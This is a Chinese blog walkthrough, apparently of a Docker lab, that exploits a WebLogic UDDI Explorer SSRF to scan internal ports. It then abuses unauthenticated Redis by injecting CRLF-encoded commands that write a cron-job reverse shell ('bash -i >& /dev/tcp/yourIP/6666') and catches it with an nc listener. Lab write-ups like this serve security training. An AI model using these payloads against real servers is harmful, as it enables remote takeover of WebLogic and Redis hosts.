ssrf,利用redis反弹shell

使用docker-compose up -d 命令在docker中拉取镜像

使用docker ps命令查看进程,看到weblogic和redis这两个服务开启

在网页中打开yourIP:7001/uddiexplorer的页面

http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp页面中存在ssrf漏洞

构造payload

http://yourip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http:// 可访问的IP:port

当访问的IP存活时,报出如上图所示错误

加上端口,用bp抓一下包,页面右侧报出所示错误,证明开放了7001端口

当我尝试将7001改为其他未开放的端口时,报出如下图右侧所示的错误

通过上面的尝试发现,通过页面返回错误的不同,可以探测内网端口的开放状态,进而知道内网开启的服务,同时加以利用

使用docker ps命令查看一下进程号

docker exec -it 进程号 /bin/bash

进入容器,ifconfig查看一下IP

将operator参数后面的值改为redis的IP和端口号,redis的默认端口号位6379,send一下,报出下图右侧所示错误,证明redis服务开启

默认情况下redis处于公网中会被任意的用户未授权访问,读取数据,利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。

将反弹shell脚本写入redis容器里面的/etc/crontab,从而将shell反弹到yourip的6666端口

test 
 
 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/yourIP/6666 0>&1\n\n\n\n"
 
config set dir /etc/
 
config set dbfilename crontab save 
 
 
aaa

URL编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FyourIP%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

上传成功

我们可以在redis容器里面进入etc目录,使用cat crontab命令查看一下,发现成功写入

退出容器

使用nc -lvvp 6666 命令开启监听端口

等待一会,成功反弹shell

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值